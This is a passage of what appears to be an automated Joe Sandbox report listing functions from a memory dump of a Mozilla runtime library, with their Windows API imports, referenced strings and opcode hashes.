_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9731A7), ref: 6C9B0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9B061B, 6C9B0625
<jemalloc>, xrefs: 6C9B05FA, 6C9B060F

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 325b404f78acc21caa98b213e5675cf81ac4f497423f0f75ecbe74a2cd92528a
Instruction ID: 7844444a59932de2b5884e9c994a6715db79140094284863444f6376008a74d1
Opcode Fuzzy Hash: 325b404f78acc21caa98b213e5675cf81ac4f497423f0f75ecbe74a2cd92528a
Instruction Fuzzy Hash: C3E08CE2A0101037F614225ABC86DBB7A1CDBEA134F08003AFD0D82702E94AED1A51F6

Function 6C9805F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5baf0287c6a583390b7f06330dcb65d4005bfe7d0f822ab0e1688d77449573c2
Instruction ID: 5f09d60afd858a369af3236c87643b800b459f68f935c9e7a02cdf1bf1d2cfca
Opcode Fuzzy Hash: 5baf0287c6a583390b7f06330dcb65d4005bfe7d0f822ab0e1688d77449573c2
Instruction Fuzzy Hash: 32A15AB0A06705CFDB14CF29C994A99FBF5BF48304F548AAED45A97B00E730A995CF90

Function 6C9D14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9D14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9D14E2
GetCurrentThreadId.KERNEL32 ref: 6C9D1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9D15BA
free.MOZGLUE(?), ref: 6C9D16B4

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: b453655d336c0e6273dde5a8e34b9b9947d016be6699914457e983db5a0c2b3e
Instruction ID: ad03482edc66c17018c96cbe6ff5ad3403d3795f323386a1ffcfc6c53c69c345
Opcode Fuzzy Hash: b453655d336c0e6273dde5a8e34b9b9947d016be6699914457e983db5a0c2b3e
Instruction Fuzzy Hash: 49610F76A04B009FDB118F20C880BDEB7B4BF9A318F45851CED8A67711DB35E949CB92

Function 6C9C9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9C9FDB
free.MOZGLUE(?,?), ref: 6C9C9FF0
free.MOZGLUE(?,?), ref: 6C9CA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9CA0BE
free.MOZGLUE(?,?), ref: 6C9CA0D5
free.MOZGLUE(?,?), ref: 6C9CA0EB

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 793b17a7bc122f324fe45b075facea66b0e8ddf4fb631e7bd0c5d2934dbc2bd2
Instruction ID: a66a70dd74826f0a6068b23b8d949f90adf318a14c6ccd0cd439a5fefa0c025c
Opcode Fuzzy Hash: 793b17a7bc122f324fe45b075facea66b0e8ddf4fb631e7bd0c5d2934dbc2bd2
Instruction Fuzzy Hash: D361C075908701DFC711CF18C48059AB3F5FF98369F548659E8999B702EB32E986CBC2

Function 6C9CDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9CDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9CD38A,?), ref: 6C9CDC6F
free.MOZGLUE(?,?,?,?,?,6C9CD38A,?), ref: 6C9CDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9CD38A,?), ref: 6C9CDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9CD38A,?), ref: 6C9CDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9CD38A,?), ref: 6C9CDD4A

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 45a6940e3428aa192a66aa76f27f8da943297986cc86e6172bcd2464c528f7ed
Instruction ID: 5828c1aac01d1c883a4e80d75941807ee0d80036e85b920a80877f186498fb59
Opcode Fuzzy Hash: 45a6940e3428aa192a66aa76f27f8da943297986cc86e6172bcd2464c528f7ed
Instruction Fuzzy Hash: 76417CB6B00605DFCB00CF99C88099AB7F5FF99314B654569D946ABB10EB31FC00CB92

Function 6C9B6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C9AFA80: GetCurrentThreadId.KERNEL32 ref: 6C9AFA8D
Part of subcall function 6C9AFA80: AcquireSRWLockExclusive.KERNEL32(6C9FF448), ref: 6C9AFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9B6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9B67C8

Part of subcall function 6C9C4290: memcpy.VCRUNTIME140(?,?,6C9D2003,6C9D0AD9,?,6C9D0AD9,00000000,?,6C9D0AD9,?,00000004,?,6C9D1A62,?,6C9D2003,?), ref: 6C9C42C4

Strings

data, xrefs: 6C9B6593

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 2bf46fdfa24bdda9fca44e2bb9014a32cfae15fc9f63f9af0277ac2e30165044
Instruction ID: 0a13bceb250fbb998e1922318617f46299a048e9b9a27c081969f8bd87fdf0e3
Opcode Fuzzy Hash: 2bf46fdfa24bdda9fca44e2bb9014a32cfae15fc9f63f9af0277ac2e30165044
Instruction Fuzzy Hash: 27D1DEB5A093409FD724CF24C841B9FB7E5AFE5308F10892DE58997B91EB31E909CB52

Function 6C9CC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9CC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9CC842

Part of subcall function 6C9CCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9EB5EB,00000000), ref: 6C9CCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9CC863
std::_Facet_Register.LIBCPMT ref: 6C9CC875

Part of subcall function 6C9AB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9EB636,?), ref: 6C9AB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9CC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CC8BC

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 13562fa14772e9c78c8238b17740ecca96afa090fae654617ae1081eee5ee543
Instruction ID: b5e4cedbd6f7b75a22a0ca6b1cbfc16aaf9b7e2a5eafcb05d2a080e938725a9f
Opcode Fuzzy Hash: 13562fa14772e9c78c8238b17740ecca96afa090fae654617ae1081eee5ee543
Instruction Fuzzy Hash: F0118675B042099BCF00DFA5E8D98AF7BB9EF99354F200129E61697741DB30D905CBA2

Function 6C9AD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C97EB57,?,?,?,?,?,?,?,?,?), ref: 6C9AD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C97EB57,?), ref: 6C9AD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C97EB57,?), ref: 6C9AD673
free.MOZGLUE(?), ref: 6C9AD888

Strings

|Enabled, xrefs: 6C9AD81E

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 06f2327a37bd10180e4bb385d6ced351c10e127108ba73b492aa04ca0017b1c1
Instruction ID: 9c89463097581eee83b5b3d2bf421bb502765892954c9ec7abbe06aa93e5d1db
Opcode Fuzzy Hash: 06f2327a37bd10180e4bb385d6ced351c10e127108ba73b492aa04ca0017b1c1
Instruction Fuzzy Hash: D4A102B1A053088FDB14CFA8C4907AEBBF5AF59318F18805CDC99AB741D735E946CBA1

Function 6C9AF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C9AF480

Part of subcall function 6C97F100: LoadLibraryW.KERNEL32(shell32,?,6C9ED020), ref: 6C97F122
Part of subcall function 6C97F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C97F132

CloseHandle.KERNEL32(00000000), ref: 6C9AF555

Part of subcall function 6C9814B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C981248,6C981248,?), ref: 6C9814C9
Part of subcall function 6C9814B0: memcpy.VCRUNTIME140(?,6C981248,00000000,?,6C981248,?), ref: 6C9814EF

Part of subcall function 6C97EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C97EEE3

CreateFileW.KERNEL32 ref: 6C9AF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C9AF523

Strings

\oleacc.dll, xrefs: 6C9AF4CB

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 4e6e0c6b46425fb45881d34522e32c7a5abc066df34302b5310502d6c3193923
Instruction ID: 5b878ce074c09641fffd6b32dc96c9f7893a7ccb1cce2b30a7e48d5e974b5121
Opcode Fuzzy Hash: 4e6e0c6b46425fb45881d34522e32c7a5abc066df34302b5310502d6c3193923
Instruction Fuzzy Hash: 674180306097109FE720DFB9D884AAAB7F4AF9531CF501A1CF5A593650EB30D94A8B92

Function 6C9D74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9D7526
__Init_thread_footer.LIBCMT ref: 6C9D7566
__Init_thread_footer.LIBCMT ref: 6C9D7597

Strings

UnmapViewOfFile2, xrefs: 6C9D7552
kernel32.dll, xrefs: 6C9D7557

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: a4e1599a03f405299416d11b076d4cc6a689205258d753d1075f4a5cbf3d9111
Instruction ID: 0446d15c2fd5860b5d612bcb2848c88621fc5ea749117a7e1aa060ae81f5e7d7
Opcode Fuzzy Hash: a4e1599a03f405299416d11b076d4cc6a689205258d753d1075f4a5cbf3d9111
Instruction Fuzzy Hash: C5214831705901ABCF048FE9D854E4973B6EB97739F128129D421A7F40CB30F807CA96

Function 6C9DA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FF770,-00000001,?,6C9EE330,?,6C99BDF7), ref: 6C9DA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C99BDF7), ref: 6C9DA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C99BDF7), ref: 6C9DA7E4
LeaveCriticalSection.KERNEL32(6C9FF770), ref: 6C9DA80A

Strings

accelerator.dll, xrefs: 6C9DA7BF

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: e4d05f2fbb3889b0cc9b28059520ffc958cf2e6603bde3185ac2d810047eede3
Instruction ID: 51f5e98f741648add93a4aa30260e43071634f43651fd5cc2e67b793c1df5230
Opcode Fuzzy Hash: e4d05f2fbb3889b0cc9b28059520ffc958cf2e6603bde3185ac2d810047eede3
Instruction Fuzzy Hash: 18018BB16043049FDB04CF59E884C12BBF8FB8AB18715806AE829CB702DB70E800CBA1

Function 6C97F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C97EE51,?), ref: 6C97F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C97F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C97F0DC
Could not find CoTaskMemFree, xrefs: 6C97F0E3
ole32, xrefs: 6C97F0AD

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: e03b10746e79c66f4bb8db5cd60ecf953eaab9532aec591917ef22022ab4102e
Instruction ID: 95987edc846e6c4d535259b77926d56df6dd4f37669f555c857555c262d445c5
Opcode Fuzzy Hash: e03b10746e79c66f4bb8db5cd60ecf953eaab9532aec591917ef22022ab4102e
Instruction Fuzzy Hash: 7CE012B1749245DB9F145EA6681C66A37BDAB5360D7248429E522E1F00EE20E415C7A1

Function 6C9B0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C987204), ref: 6C9B0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9B00A7
FreeLibrary.KERNEL32(?,6C987204), ref: 6C9B00BE

Strings

wintrust.dll, xrefs: 6C9B0083
CryptCATAdminAcquireContext2, xrefs: 6C9B00A1

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 6f2c4933ba0621e76a3a3c9d3075b2b8a46dae585147df28e614f5d65bc6619a
Instruction ID: 7dd6bd601f11642ef5b1be9f1914d9e36168fe512fcec262fb13f0a55a894c9d
Opcode Fuzzy Hash: 6f2c4933ba0621e76a3a3c9d3075b2b8a46dae585147df28e614f5d65bc6619a
Instruction Fuzzy Hash: 7FE092B5648309ABEF00AF66E9087027AF8A70B349F208066A936D2B50DBB5D054DF91

Function 6C9B00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C987235), ref: 6C9B00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9B00F7
FreeLibrary.KERNEL32(?,6C987235), ref: 6C9B010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9B00F1
wintrust.dll, xrefs: 6C9B00D3

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: f5915a2c99cd67d4ee75b31dc75dc9ca13a969bc10a8cee02d3713dea2d7c0b7
Instruction ID: 817723101585b0ffb8efd13071c4897f78c69f9162ef1428bf8ffe095c3d28af
Opcode Fuzzy Hash: f5915a2c99cd67d4ee75b31dc75dc9ca13a969bc10a8cee02d3713dea2d7c0b7
Instruction Fuzzy Hash: 84E04FB024D309ABEF105F25EA497223AFDE703B08F704055EA3F92A00E770C050CB50

Function 6C9DC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9DC0E9), ref: 6C9DC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9DC437
FreeLibrary.KERNEL32(?,6C9DC0E9), ref: 6C9DC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9DC431
ntdll.dll, xrefs: 6C9DC413

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: ddacb2d47dbd599036f10fe6a5331ad0250b6e7330a5dab0a26e951080f3d4ef
Instruction ID: c683a1da5e6d19abbd55e2148e0031f074243a4e981e693b1657a234ff8e2fc7
Opcode Fuzzy Hash: ddacb2d47dbd599036f10fe6a5331ad0250b6e7330a5dab0a26e951080f3d4ef
Instruction Fuzzy Hash: D8E0B6716193099BDF01BF71EA187117FF8A74A30DF248156AA36D2B40EBB4E001CB90

Function 6C9D75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9D748B,?), ref: 6C9D75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9D75D7
FreeLibrary.KERNEL32(?,6C9D748B,?), ref: 6C9D75EC

Strings

ntdll.dll, xrefs: 6C9D75B3
RtlNtStatusToDosError, xrefs: 6C9D75D1

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 63f6b1111fc5ad13b54434997e426d4f25512809f7b3b4266cf39578f1a347b2
Instruction ID: 0c35a341e3e7453b7de4ba8e1c7e4c0cfee8e2219792ae0bd23bfe076624bb46
Opcode Fuzzy Hash: 63f6b1111fc5ad13b54434997e426d4f25512809f7b3b4266cf39578f1a347b2
Instruction Fuzzy Hash: 06E0B671658301ABEF006FA2E848701FEFCEB4671CF309426A925D1A00EBB5D24ACF55

Function 6C9D7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9D7592), ref: 6C9D7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9D7627
FreeLibrary.KERNEL32(?,6C9D7592), ref: 6C9D763C

Strings

NtUnmapViewOfSection, xrefs: 6C9D7621
ntdll.dll, xrefs: 6C9D7603

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
